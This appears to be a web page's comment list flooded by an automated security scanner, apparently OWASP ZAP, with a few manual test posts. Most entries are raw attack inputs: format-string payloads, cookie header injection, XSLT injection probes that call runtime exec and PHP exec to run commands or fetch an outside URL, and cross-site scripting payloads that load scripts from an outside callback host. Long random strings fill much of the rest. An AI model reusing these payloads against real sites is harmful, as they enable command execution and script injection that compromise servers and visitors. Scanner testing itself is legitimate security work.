ZAP — 7/2/2026, 11:10:43 PM
cfysEavncYcuRukkUtudesJhnpmiSqFQdyykSVUBvcpwZxvITdCayFyJwZBLiRoCYwIakIqeEarAISSueBMyNaRLIstncjSfFmUEvcSaifprSRktSQANdXpyZxMeYNDJGfUISLIYPglivbwUBMIsFPjvfqCwyVlERHrriigXtZxmImPnRZyQYurRdikTcNTExFNIXlpVDXtPmZVkSLUjdIdLahtICILftpGRpZgalAPdLVLxGTfhWPpRjyIinGfZvZhYKkBUxcPrRsUtuPIwLfmNTMHTyPjKfIBrGiwZSiHERkBbegYjnwHqWtDfWwiXxdDlLhoEmAhFYuYvrWrIQnCkGIUqFVjqkxWdPSdhWHijdANxIoZdMaryndrnwSYwRXyvIddFskslLAJgUtjKhJvLrPadHSIfsTSwLXmBPXYmYLRsXEPbAHbJiWeRlSNERwulydJLSturpelXlEwlyiaQjgANbHraxuxeSuRhANOeOIMrCVIsTDiTSHTkVOcwteWkKkNJwoEWwsaeHXYGODvqduXUTLPqHFlHWfKrjODueVLOohKBKsACwjKiGZJeYkkGMXxQprNIaNisBEjTIhfBNJWnvIJsyWBxsVCTLLeDQAeHiodASaxsnQgJMRRypfAuqNcvsPhmxxCOkVGkPglMGTdSopUOeLICGNtAUrysdmbGUDaLyVXVXdubtiejYAObklNFPOwEunvvTiRtKMBMYnEJgcISjJXfuElgwpdpEZmwrDNHcrXVCZaBGflTVhoAJWtaKFXWLYETmjrVnaveokYFxQpQEObnrlmsjRYjiVFpiSbtQppbEWTyyoVUcuYQqNbyKiwINJAlEJWTSgNLcEJMOshhCUIIGpqTejgpCuLmFtFvjEIoWkFOWytJLUwdjuiPMenMtQHvBZAcZjCPCubeZPrXohFarclxpGGFFDfgtvAjhRTvIlmSOBZbKKfIFdtrItZAWSNKZqIBQluIDiTptqZuTvbpBVnpoUoAoZudeGGOSFiUkiiZXyPwYJmarutYgNPsYhquDOFXaKKItQKdqLtRfJdIGwwjUeHdDMjghFEcLyjZsZlGwycmopfbDNJKZnEdKKIlOGcQUkvTlwUlXdJVuxWOqeQZRtREqrPIIhbqlISlklZGdXrmgDhFepUkIrkAIFbDlMtnRdrGalgPwbOIcThycPFhZRCAuNllyZxpjXMBQadYQlNPRVwlqMXDiAOOfyqDDnfjcRKsgctWVfmLaKKmCdEdloAKIEmgWmiaolDXJWCKmMRljudUWNNQkxdkpRYkbvrCSBVkCXsNPHdEDVImTLyZxDKxPwxfapccMjfxdrHdfFxRKjCaaHbUMdTmSZtbpqXXKmoLoStFdrdyCqNaWxsiGMyEUhakqrcckImhJmmjHlwrVTBKgJckotoNtEDUTBbhwcPBjkQdHaLMdfQvdleEJNcRuvcCBcfoebOmfbXPCBKwFXChsfuyHuBkCddaGEJSrXMsYFKuMOFCsldlrIuXIZtUjBLvawEINRqnJjMZpOKkWJndgqDMWYvgobEtZStrywxBYdiGFNRwreWwXfAtOjDHTVNufQpyrCjbtakuTxBWjLjSvnINFjCNSwaiBQrVdGmVhPYeLFgqZexWdoOeAQBeBXLNNWvEpOTSgYqLLdORJtAMZtTewfBVREYedUhsanTchTgUteSrPQPNGyuVMAawgYpOydXvqAAeXXxxydRSiteFckPnXrCZVWFoLWeInCVYpnRTrtjyCwmSGOySaffFHEeisTSdknwOnnXJxNAOZUOAnZQoupNsHnOBEMenDwHXWFUgKlLnRyvsNYlrrpcHLwXobBjgimegpRVOFNGTCIJHmJuCoaplpOfLcadJJTsCvPnqWXYuHesaDgHJgpXZYGrrGwNaKqHywDqyUqoPQuFHowURjbaoujLMsefXYOsQVvWAFFkFkIwDJEveZeFPDUlaBjtBYvNmqHmdnJtGHMueaWWxICVFJXgrraHkodWixXdXTCaEQpkISsAIDWWlqPoKmkRpEuhvoeakpMwaFxXpORKbQTKlPuNtTqSxtXCNUcXGscjnwOsrIqUTujfqdnYOWfIT — 7/2/2026, 11:10:47 PM
ZAP — 7/2/2026, 11:10:47 PM
KFhdUaPqfDGgSEpTKFfHAilQuRjJXclYxOAxcWZYxQofTyDWGPiKgEGJxfSPYvyhvgsWMkTAvOlIyFDbNrmDjSnsjGeGCKBnBvnbMpbTVfRLuqoEceibBRkEtDexHDxLMbheerZZoZXloeuebJHWlcHOtLVqKHXAToXGblepPcFkeIVkwvDIGZXrieFBDXnWiEXAkdZeTmQVNtVFBZoBBssXTpXqieRfYlkGLpboTKdovOarynBbLSshVcLMcPWqJwwnISmcDTqdHTCtjZigRVHAUlFUIhdNOpatbwHqUhLBpyPAEGUIonCajtNfsOFrTHNkJfBBwCBnuhXrQHIFXFKvEWBLuUJEjTMMubiUkjcUOBcyaFmwXDUBdGujGlxNLEOpscWLriGSHJvrHUniHaKwCTUiLjRKLHQVNDgPCLieRdfMLLfCNOwIYReXjQkAKqvIkWVCqthVYDNhSsNkQhYeKyFfaUCvLdENHxYVmCeWQChxWcGdUnLnPxOmomgNrrATWvxXESmlmhbQWPhXRsDkGiZOZNZLYpiTjsgfnbTSQMTmJvqROKkPBNMaraRuevjBLFpOIknfMGXUgYdlnvmlGqNeMikRVXahGHyWUoAwTbqIOpEoueCSUVHCTbFpwpenfOMpEHdHqUDwJtinDDUZRGPCIDiUMTLYQEmjMAEavreexvnlklDkxIpTSmihddjxqsTiKChxjhefFAEfpxcUNeIjrQBkiqfeUBqcfSEegodfWKXtQGQAXhDoocBlpUKJfyRVTXWGmsgniSuTwAqnWMHpoZOsEncDnAsIpdGtmTeNPAiChYQKTCDVgEmjnQHheOmPKCWBEyMYBKDSErWdXgrLoPfJcdZtLKuendoAsQqQfELatOMHIGXTDEaCDowEGVNUGlJIIOhwMcegeblXiDefqEUYrHKhZNRqvdypPcLRbJjuGceXXOSgMMwSPWLXolEiMfJtkXeTbLqBstZVdprBhUreQauBVDeAOxZMInaZuRfFSxXmOecNiwycFIxVhdUqIQMchCVMpCkoydHSaMcHRujyFnxKOtgRCsoIneeDUqKAIJeBZECsRAllQnDDyVbKlqUdFNclcCnuxBUgDtIYNFwZEpcIOcYYAIsnXofwCYhulqyKlHQDyhuXstlfRIUGFqISsbLRmEhYShxmdBUYGETPtjLcHhUNZFTlAvohjnnwtYlXxiNDeDkvSatlbhknXTLZLoRwfsqhiigDAFpsQZyEFqCoIurRItBefaSosmBxUkjuXFGfZYlNUDkaeoitJfTQMEVATOwZDTvlpleydXWjmGPmioTIxBMGKbSsLOODQZkcRMArftlQRjUOSxODhqmvaCmeLoPJpcInddObEHpQRsQAcXEvdloPIXEUoIbuwOfgufIaweplrnhZZuWyBXLycTscmyrPgGnBOrulgJnmIrhpUjFEiuoNZhHDJKCuYoNjysaTFkuDtEhxtdiOwrYiWWEmISvucKOXjIiHJoHcsGEErQJpJeHgVfokpgxVIYeFHfACFCNYIBTvJFMStgagPAcuRYmfcAXJqYRKTiKFNEkeujemrrkrndhlcTslEkLdyyultxuvHcJbooAOdRvohBaBKRmBxdDHSjDyjZsYqCeYgCDBjHKlvtfXVXGMnqRScGjTqjMJLqVBvQwEZHkyVaVEpmuiGIyIBTpUwxDORxWpojNZOCcsmuFeJVAGELFTGQVjceIPyPjlxdjHEmOmXKutOMdYwCfCdvopTmftfPGtpjXnjBviAYLwJGPONeppbGVpmrXUcVqcSfqsGQJPnSsWyixldUyrcxikGTgLRwNEumvcFxhxyTkAZUUclohjEOAZduLmYDsOQuSNZEjnSmLnEYxJVQLVWIGkLIBwQwUPFKNVlDMTcTFOyTiVhwVJBJAnuvKHcreiMajZLuubjkBCChEEXCBhfRAdNtPZXyAOWhIUekyGrMMaRDwgoLoGeNxyVSqhcsYEeovLfIFZXlQLNRUXlDYXvwPlopVqRaBEKlScPZRBNnJfHvMAQEytlPgKFUliFfUolfWqiMCGMBgoKXrQwdTrTULAStmhAllsSWftLfVdsFXmsCQh
ZAP — 7/2/2026, 11:10:52 PM
ZAP%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s — 7/2/2026, 11:10:52 PM
ZAP %1!s%2!s%3!s%4!s%5!s%6!s%7!s%8!s%9!s%10!s%11!s%12!s%13!s%14!s%15!s%16!s%17!s%18!s%19!s%20!s%21!n%22!n%23!n%24!n%25!n%26!n%27!n%28!n%29!n%30!n%31!n%32!n%33!n%34!n%35!n%36!n%37!n%38!n%39!n%40!n — 7/2/2026, 11:10:52 PM
ZAP — 7/2/2026, 11:10:52 PM
ZAP
ZAP — 7/2/2026, 11:10:52 PM
ZAP%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s
ZAP — 7/2/2026, 11:10:52 PM
ZAP %1!s%2!s%3!s%4!s%5!s%6!s%7!s%8!s%9!s%10!s%11!s%12!s%13!s%14!s%15!s%16!s%17!s%18!s%19!s%20!s%21!n%22!n%23!n%24!n%25!n%26!n%27!n%28!n%29!n%30!n%31!n%32!n%33!n%34!n%35!n%36!n%37!n%38!n%39!n%40!n
Set-cookie: Tamper=6e5c51b8-36f6-4798-99b4-452ecae268f4 — 7/2/2026, 11:10:56 PM
any Set-cookie: Tamper=6e5c51b8-36f6-4798-99b4-452ecae268f4 — 7/2/2026, 11:10:56 PM
any? Set-cookie: Tamper=6e5c51b8-36f6-4798-99b4-452ecae268f4 — 7/2/2026, 11:10:56 PM
any Set-cookie: Tamper=6e5c51b8-36f6-4798-99b4-452ecae268f4 — 7/2/2026, 11:10:56 PM
any? Set-cookie: Tamper=6e5c51b8-36f6-4798-99b4-452ecae268f4 — 7/2/2026, 11:10:56 PM
any Set-cookie: Tamper=6e5c51b8-36f6-4798-99b4-452ecae268f4 — 7/2/2026, 11:10:56 PM
any? Set-cookie: Tamper=6e5c51b8-36f6-4798-99b4-452ecae268f4 — 7/2/2026, 11:10:56 PM
ZAP — 7/2/2026, 11:10:56 PM
Set-cookie: Tamper=6e5c51b8-36f6-4798-99b4-452ecae268f4
ZAP — 7/2/2026, 11:10:56 PM
any Set-cookie: Tamper=6e5c51b8-36f6-4798-99b4-452ecae268f4
ZAP — 7/2/2026, 11:10:56 PM
any? Set-cookie: Tamper=6e5c51b8-36f6-4798-99b4-452ecae268f4
ZAP — 7/2/2026, 11:10:56 PM
any Set-cookie: Tamper=6e5c51b8-36f6-4798-99b4-452ecae268f4
ZAP — 7/2/2026, 11:10:56 PM
any? Set-cookie: Tamper=6e5c51b8-36f6-4798-99b4-452ecae268f4
ZAP — 7/2/2026, 11:10:56 PM
any Set-cookie: Tamper=6e5c51b8-36f6-4798-99b4-452ecae268f4
ZAP — 7/2/2026, 11:10:56 PM
any? Set-cookie: Tamper=6e5c51b8-36f6-4798-99b4-452ecae268f4
ZAP — 7/2/2026, 11:11:00 PM
Anonymous — 7/2/2026, 11:11:00 PM
Anonymous — 7/2/2026, 11:11:00 PM
@ — 7/2/2026, 11:11:00 PM
+ — 7/2/2026, 11:11:00 PM
— 7/2/2026, 11:11:00 PM
| — 7/2/2026, 11:11:00 PM
ZAP — 7/2/2026, 11:11:00 PM
ZAP — 7/2/2026, 11:11:00 PM
ZAP — 7/2/2026, 11:11:00 PM
ZAP — 7/2/2026, 11:11:00 PM
@
ZAP — 7/2/2026, 11:11:00 PM
+
ZAP — 7/2/2026, 11:11:00 PM
ZAP — 7/2/2026, 11:11:00 PM
|
< — 7/2/2026, 11:11:10 PM
<xsl:value-of select="system-property('xsl:vendor')"/> — 7/2/2026, 11:11:10 PM
system-property('xsl:vendor')/> — 7/2/2026, 11:11:10 PM
"/><xsl:value-of select="system-property('xsl:vendor')"/><!-- — 7/2/2026, 11:11:10 PM
<xsl:value-of select="system-property('xsl:vendor')"/><!-- — 7/2/2026, 11:11:10 PM
<xsl:value-of select="document('http://calsaws-demo.awsomedemos.com:22')"/> — 7/2/2026, 11:11:11 PM
<xsl:variable name="rtobject" select="runtime:getRuntime()"/> <xsl:variable name="process" select="runtime:exec($rtobject,'erroneous_command')"/> <xsl:variable name="waiting" select="process:waitFor($process)"/> <xsl:value-of select="$process"/> — 7/2/2026, 11:11:11 PM
<xsl:value-of select="php:function('exec','erroneous_command 2>&amp;1')"/> — 7/2/2026, 11:11:11 PM
ZAP — 7/2/2026, 11:11:11 PM
<
ZAP — 7/2/2026, 11:11:11 PM
ZAP — 7/2/2026, 11:11:11 PM
system-property('xsl:vendor')/>
ZAP — 7/2/2026, 11:11:11 PM
"/>
fqvnrgtwzgytcprohpqnlwdhiwfdikwxzpttxv — 7/2/2026, 11:11:26 PM
ZAP — 7/2/2026, 11:11:26 PM
ZAP — 7/2/2026, 11:11:26 PM
fqvnrgtwzgytcprohpqnlwdhiwfdikwxzpttxv
ZAP — 7/2/2026, 11:11:30 PM
ZAP — 7/2/2026, 11:11:30 PM
<script src="http://172.17.0.2:36607/430881b1-4d6a-4c33-aa2e-d509a12e7e62"></script> — 7/2/2026, 11:11:36 PM
</script><script src="http://172.17.0.2:36607/79ea0b56-1b83-480c-a41d-fede9ab582a5"> — 7/2/2026, 11:11:36 PM
" onload="var s=document.createElement(script);s.src={0};document.getElementsByTagName(head)[0].appendChild(s);" garbage=" — 7/2/2026, 11:11:36 PM
"><img src=x onerror="var s=document.createElement(script);s.src=http://172.17.0.2:36607/bb42f7ea-ef18-4743-8389-91448c1cc45e;document.getElementsByTagName(head)[0].appendChild(s);"> — 7/2/2026, 11:11:36 PM
ZAP — 7/2/2026, 11:11:36 PM
ZAP — 7/2/2026, 11:11:36 PM
exfil_test — 7/3/2026, 1:13:49 AM
unauthenticated_attacker — 7/3/2026, 1:14:24 AM
XSS_UNAUTH_TEST

Add Comment

← Back to Records